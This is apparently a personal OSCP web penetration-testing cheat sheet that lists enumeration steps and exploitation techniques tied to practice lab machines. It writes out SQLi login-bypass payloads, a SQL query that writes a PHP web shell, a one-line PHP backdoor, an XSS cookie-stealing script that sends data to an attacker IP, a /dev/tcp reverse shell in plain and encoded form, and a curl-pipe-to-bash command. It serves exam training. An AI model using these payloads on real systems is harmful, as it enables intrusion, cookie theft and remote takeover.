Overview

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Even though OSCP is not completely based on Web penetration testing, it is obviously that **most of machines** are **Web-related**. Even if a web application could be a **rabbit hole** in a machine, we still need to enumerate it for some time. Therefore, I think it is necessary to create a brand-new note for Web penetration testing within **OSCP scope**

Manual Access

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- 1: Check if it is a HTTP or HTTPS service. If it is HTTPS, check its certificate, does it have any SSL vulnerability such as HeartBleed vulnerability, tool is available from https://github.com/drwetter/testssl.sh
- 2: If necessary, enumerate its **sub-domains**, add **virtual host** to **/etc/hosts**
- 3: Access target URL in a browser, both Chrome and Firefox

OSINT

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1: Check its content, such as **blogs**, **comments**, **user profiles**, etc. If you can find something about **users/members/staff**, create a list of **possible usernames/passwords**

###Ref: BadCorp

- 2: If it uses an **official template**? If so, you can hardly find anything useful. Otherwise, keep enumerating
- 3: **Theme** and **function** of this application. For **supply chain**? For **medical**? For **device management**? etc.

Source Code

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- 1: **Default value** of an element
- 2: Comment, search for "<!-"
- 3: Link, search for "href"
- 4: Hidden element. Use dev-tool to make it show up
- 5: Even if a web page looks empty, still remember to check its source code ###Ref: **Gh0st**

Header

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1: **Burpsuite** is preferred

2: Check special header, which could reveals its API

###Ref: **Twiggy**

Directory and File

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0: Enumerate all sub-domains and virtual hosts

1: If web server runs on an **uncommon port**, try both **HTTP** and **HTTPS** protocol ###Ref: **Mock Exam 20pts-2**

2: nikto -h http://10.10.10.10

3: Combine results of at least two scanners

4: dirb http://10.10.10.10

5: gobuster dir -u http://10.10.10.10 -w dir.txt -x html,txt,php,aspx,java -t 20 (-k, if https)

6: Use specific app's dictionary: such as SharePoint CMS dictionary

###Ref: **Tally**

7: **Hidden** directory

a. hostname, domain, username, service name as a directory

###Ref: **Shenzi**

b. Mentioned in web content, such as a blog

###Ref: Catto

c. Search for app's document/github repo

d. robots.txt, sitemap

e. Config file

f. From error messages

###Ref: Medjed, Nappa

g. source code, comments ###Ref: Gh0st, CookieCutter

h. protected by a basic auth: gobuster dir -U admin -P admin -u http://10.10.10/private -w dir.txt -x html,php,aspx,txt -t 20

###Ref: Phobos

8: Same version application's **GitHub repository/Official Document**

###Ref: Megavolt

API Endpoint

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0: Overall similar to directory and file

1: wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.10/FUZZ/

2: Mentioned in web content

3: In requests and responses

4: Source code, comments

###Ref: **Hunit**

Weak Credential

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1: Always try admin:admin first

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2: Google xxx's default login/credential

###Ref: Walla

Webroot

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1: If a web server's webroot share the same directory with **SMB** or **FTP**, and you have **write permission** on it, try to **upload a web shell** ###Ref: **Banzai**

2: On Linux, a webroot is often /var/www/html or /var/www/[appname]
3: Leverage SQLi to write a backdoor to webroot: 'UNION SELECT ("<?php echo passthru(\$_GET['cmd']);") INTO OUTFILE 'var/www/html/cmd.php' -- -' ###Ref: Medjed, Hawat

4: Retrieve webroot from error messages, phpinfo, etc.

###Ref: **Medjed**

CGI

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1: **Shellshock** vulnerability ###Ref: **Alpha**

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There are multiple ways to bypass login

1: Authentication does not help, or authentication is unnecessary for our enumeration/exploitation. This is one of most ideal situation.

2: Default/Weak credential. This is also one of most ideal situation.

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3: SQLi payload
a)
username=admin' or '1'='1
password=[arbitrary]
b)
username=admin
password=' or '1'='1
c)
username=admin
password=' or 1=1---
d)
username=admin' or 1=1---
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4: **Guess a credential** based on **OSINT** or **social engineering**. Before guessing, you need to gather some information. Such as admin's nickname, admin's real name, staff's name, service name, application name, etc. They could be potential usernames. For password, it could be the same as username, and don't forget to try some simplest passwords such as password, admin, 123456, qwerty, etc.

###Ref: BillyBoss 5: Register one

###Ref: Medjed, Nappa

password=[arbitrary]

6: Prompts of basic authentication

###Ref: Walla

7: Review source code, especially comments

###Ref: Nappa

8: Use **SQLi** to **retrieve** or **overwrite** credential

###Ref: **Medjed**

9: Use XSS to steals cookie

###Ref: Megavolt 10: Reuse session ###Ref: Shifty

11: **OSINT**, such as **blogs**, **comments**, etc.

###Ref: Nappa

12: Dictionary attack, brute force attack. Use it as the last option. ZAP is

recommended

File Inclusion

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1: If an argument name is like **view, file**, **page**, **skin**, **theme**, **lang**, **template**, etc., file inclusion is highly possible

2: If LFI is confirmed, try RFI as well

3: If RFI does not work, change HTTP/FTP protocol to SMB protocol.

###Ref: Sniper

4: If RFI really does not exist, use LFI to read some **sensitive files** such as a **config file** which contains **credentials**. Then leverage **harvested credential** for **next exploit**

###Ref: Muddy

5: Switch between absolute path and relative path

###Ref: G00g

6: Include **service config files**, such as **/etc/apache2/sites-available/000-default.conf**, **/etc/vsftpd.conf**, etc.

###Ref: Deployer, G00g

7: Use PHP filter to check source code:

http://10.10.10.10?page=php://filter/convert.base64-

encode/resource=view.php

###Ref: **G00g**

8: If **XXE** is possible, it can also lead to **LFI**

###Ref: Muddy

9: LFI itself does have some approaches that lead to RCE

1: Include session file

a: Fill a POST form to make username= <?php system("[command]");?>

b: Note the session value, and then find php session file. Usually in

/var/lib/phpx/sess_[SessionId], /tmp/sess_[SessionId]

c: Include the session file

2: phpinfo + LFI

a: If file_uploads is on

b: PoC script: https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html#shell-as-www-data-via-phpinfophp

3: Log poison

a: If log file is accessible, such as /var/log/vsftpd.log,

/var/log/apache2/access.log

b: For access.log, insert payload to user agent. For vsftpd.log, give payload in username section

c: Include the log file

4: Send mail

a: Send an email with a malicious payload

b: Include /var/mail/www-data

10: Some **restriction**, need a little **adjustment** to **file name**, **file extension**, end of file name (%00), etc.

###Ref: Pain, Gh0st, G00g

Path Traversal

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1: Read server's file, such as /etc/passwd ###Ref: Apex

2: Transfer inaccessible file(backend file, authorized-required file) to accessible directory (File Manager interface, SMB/FTP share) ###Ref: Apex

File Upload

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1: Don't have any restriction: Just upload!

2: Client-Side restriction: Use **burpsuite** to **edit request** and **forward** ###Ref: **Escape**

3: Server-Side restriction: Change magic number, file extend name, etc

4: Unexploitable restriction: It is a rabbit hole

###Ref: **Apex**

XSS

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1: Steal admin or other online user's **cookie** to **bypass login**

a: <script>new Image().src="http://10.10.10.20/file.jpg? cookie="+document.cookie;</script>,

b: **nc -nlvp 80**

###Ref: **Megavolt**

Command Injection

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1: If you can find **source code** to do a **white box** code review

###Ref: Nickel, Phobos
2: Fuzz an API endpoint
###Ref: Reconstruction

3: Fuzz an argument. If there is no argument, guess one

###Ref: **UC404**

WordPress

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- 1: Default **login path**: /wp-login.php, /wp-login, /wp-admin, /wp-admin.php, /login
- 2: wpscan
- 3: Plugin, themes' exploit
- 4: Panel RCE (Apperance->Editor->404 Template)
- 5: Upload a plugin
- 6: Its config file (For PE stage)

Jenkins

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1: RCE: create a new project, build section->execute shell, Build now

WebDav

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1: Use **nikto** to scan

2: cadaver http://10.10.10.10

###Ref: Hutch

3: Credential (If required)

4: Put/Get to upload/download file

Version Control

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Git

1: Find **github repo** of the application you are pentesting

2: Use git tool to reconstruct the project:

a. ./gitdumper.sh http://10.10.10.10/.git rep1

b. cd rep1 && git checkout -- .

###Ref: Splodge

3: Show logs: git logs

4: Show log of a commit: git show [commit]

###Ref: Develop

Svn

1: Review repo's logs: svn log --username admin --password admin http://10.10.10.10/svn/rep1

2: Compare differences with previous versions: svn diff -r 2:1 --username admin --password admin http://10.10.10.10/svn/rep1
###Ref: Phobos

Apache

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1: phpinfo.php

Tomcat

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1: Try to access /manager

2: **Default cred:** admin:admin, tomcat:tomcat, admin:NULL, admin:s3cr3t, tomcat:s3cr3t, admin:tomcat

3: Upload .war payload

Nginx

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1: Check https://book.hacktricks.xyz/pentesting/pentesting-web/nginx

IIS

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- 1: Check and test asp, aspx, config, php file extensions
- 2: web.config file

Database

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1: SQLi

###Ref: Medjed, Hawat 2: Retrieve credential ###Ref: Phobos, Medjed

3: Overwrite credential if hash is unexploitable

###Ref: Tico, Dibble

4: Write a web shell to webroot: 'UNION SELECT ("<?php echo

passthru(\$_GET['cmd']);") INTO OUTFILE '/var/www/html/cmd.php' -- -'

###Ref: Hawat, Medjed

Plugin

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1: Vulnerable plugin's exploit

###Ref: Nukem, Tico

2: Enable a specific **plugin**

###Ref: Megavolt

API Hacking

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1: Use **burpsuite** to analysis **requests**, **responses**, and **hidden URL** (especially those cannot be **enumerated** by **dirb** or **gobuster**)

2: Enumerate all **endpoints** ###Ref: **Interface**, **Hunit**

3: Interface, such as GraphQL interface for Gatsby

###Ref: Catto 4: Official doc ###Ref: Catto

5: Fuzz API endpoint (http://10.10.10.10.10/endpoint/FUZZ) to check LFI/RFI and Command Injection vulnerability with filename, command, encoded filename and command

###Ref: Reconstruction

XXE

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1: Can be used to **include local file** ###Ref: **Muddy**

SSTI

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1: Try payload cmd={{7*7}} to detect ###Ref: CookieCutter)

SSRF

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1: Access internal web server ###Ref: CookieCutter

SSI

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1: Pay attention to **shtml** page ###Ref: **Synapse**

IP Restriction Bypass

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1: Add X-Forwarded-For: 127.0.0.1 header

###Ref: **XPosedAPI**

2: **SSRF**

###Ref: CookieCutter

Dependency of Multiple Services

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1: Use burpsuite to analysis traffics

###Ref: Catto

2: Links pointing to **other ports** in **source codes**

###Ref: Nickel

3: Database, memcached server, etc.

###Ref: Shifty

4: Special request header

###Ref: Twiggy

GraphQL

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1: /graphgl, /graphql, /graphql.php, /graphql/console, /__graphql

###Ref: Catto

2: Query

###Ref: Catto

Deserialization

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1: Java deserialization

a: Find input which can be taken control of

b: Ensure payload type

c: Use ysoserial.jar to generate a payload

###Ref: Cassios

2: Python **Pickle** deserialization

###Ref: Shifty

3: PHP deserializatioin

###Ref: **Deployer**

Insecure Function

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1: eval() in NodeJS and Python ###Ref: Dibble, Flasky, Hetmit

2: preg_replace() in PHP

###Ref: **Splodge**

Rails

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1: Access a non-existed URL to get error messages

Werzeug/Flask

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1: If debug is enabled, access /console and launce RCE

2: **eval()**

###Ref: Flasky, Hetmit

Browser

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1: Combine Firefox with Chrome

###Ref: Synapse

2: Use convenient add-ons: Wappalyzer, Cookie-Editor, Shodan, Hack-Tools,

Foxproxy, etc.

###Ref: Flasky, Megavolt

3: If an exploit is unsuccessfully, switch to another explorer (Ref: Synapse)

4: Dev Tools ###Ref: **Nappa**

Burpsuite and ZAP

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Burpsuite

1: Check special headers

###Ref: Twiggy

2: Communication/Dependency with other services/ports

###Ref: Catto

3: Edit request to bypass access control

###Ref: Interface

4: Like 3, edit request to impersonate admin user

###Ref: Interface 5: Analyze API

###Ref: XPosedAPI, Catto, Hetmit, Nickel, Interface, Hunit

ZAP

1: Like Burpsuite

2: When it comes to brute-forcing, it has much higher speed

Curl

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- 1: Access by GET method and check headers: curl http://10.10.10.10
- 2: Submit a **POST** request : **curl -X POST --data "id=123"** http://10.10.10.10
- 3: Switch between **POST** and **GET** to test **API endpoints**
- 4: Write a script to fuzz
- 5: Download file: curl http://10.10.10.10/file -o file
- 6: Execute a remote script: curl http://10.10.10/shell.sh | bash

Error Messages

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- 1: Incorrect padding ==> Existence of encoding, such as Base64
- 2: No such file or directory ==> Possible LFI/RFI
- 3: cannot **register** this username ==> This username does **existed**
- 4: Access a non-existed URL ==> Reveal all paths (Rail)

Encoding

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Encode command in HTTP Request

- 1: Online encoding/decoding: https://www.urlencoder.org/
- 2: Sometimes, only some characters will be encoded

Encode command in Python function

1: Replace '+' with ' '. For example, sh -i >& /dev/tcp/192.168.49.175/6000 0>&1 ==> sh+-i >& /dev/tcp/192.168.49.175/6000+0>&1

Encode command in Python function in HTTP Request

- 1: Use **URL-encoding** first
- 2: Replace '%20' with '+'. For example, sh -i >&

/dev/tcp/192.168.49.175/6000 0>&1 ==>

sh+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.49.175%2F6000+0%3E%261

Web Shell

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1: PHP generic

One-line backdoor: <?php echo shell exec(\$_GET['cmd'].' 2>&1');?> Web backdoor: https://github.com/WhiteWinterWolf/wwwolf-php-

webshell/blob/master/webshell.php

Web backdoor2: https://github.com/artyuum/Simple-PHP-Web-

Shell/blob/master/index.php

2: PHP for Windows

Reverse Shell: https://github.com/Dhayalanb/windows-php-reverse-shell

Bind Shell: Check [PHP generic]

3: PHP for Linux

Reverse Shell: https://github.com/pentestmonkey/php-reverse-

shell/blob/master/php-reverse-shell.php

4: JSP

Reverse Shell: https://github.com/tennc/webshell/blob/master/jsp/jsp-

reverse.jsp

5: ASPX

Reverse Shell: https://github.com/borjmz/aspx-reverse-

shell/blob/master/shell.aspx

6: Others

Ruby reverse shell: https://github.com/secjohn/ruby-

shells/blob/master/revshell.rb

Ruby bind shell: https://github.com/secjohn/ruby-shells/blob/master/shell.rb

Cryptography

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- 1: Write a python script
- 2: Make use of **online tool**

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Unnecessary Authentication

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Sometimes, authentication is **unhelpful** or **unnecessary** for our exploit. No need to crack login

Unrelated Content

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Web content usually **reveals some important info**. For example, in **"Team"** section, we can harvest possible **usernames of staff**. In a **blog**, we can retrieve some info such as **hidden directory**, a list of **usernames**, etc. However, if a web application use **official provided template**, it does not help our enumeration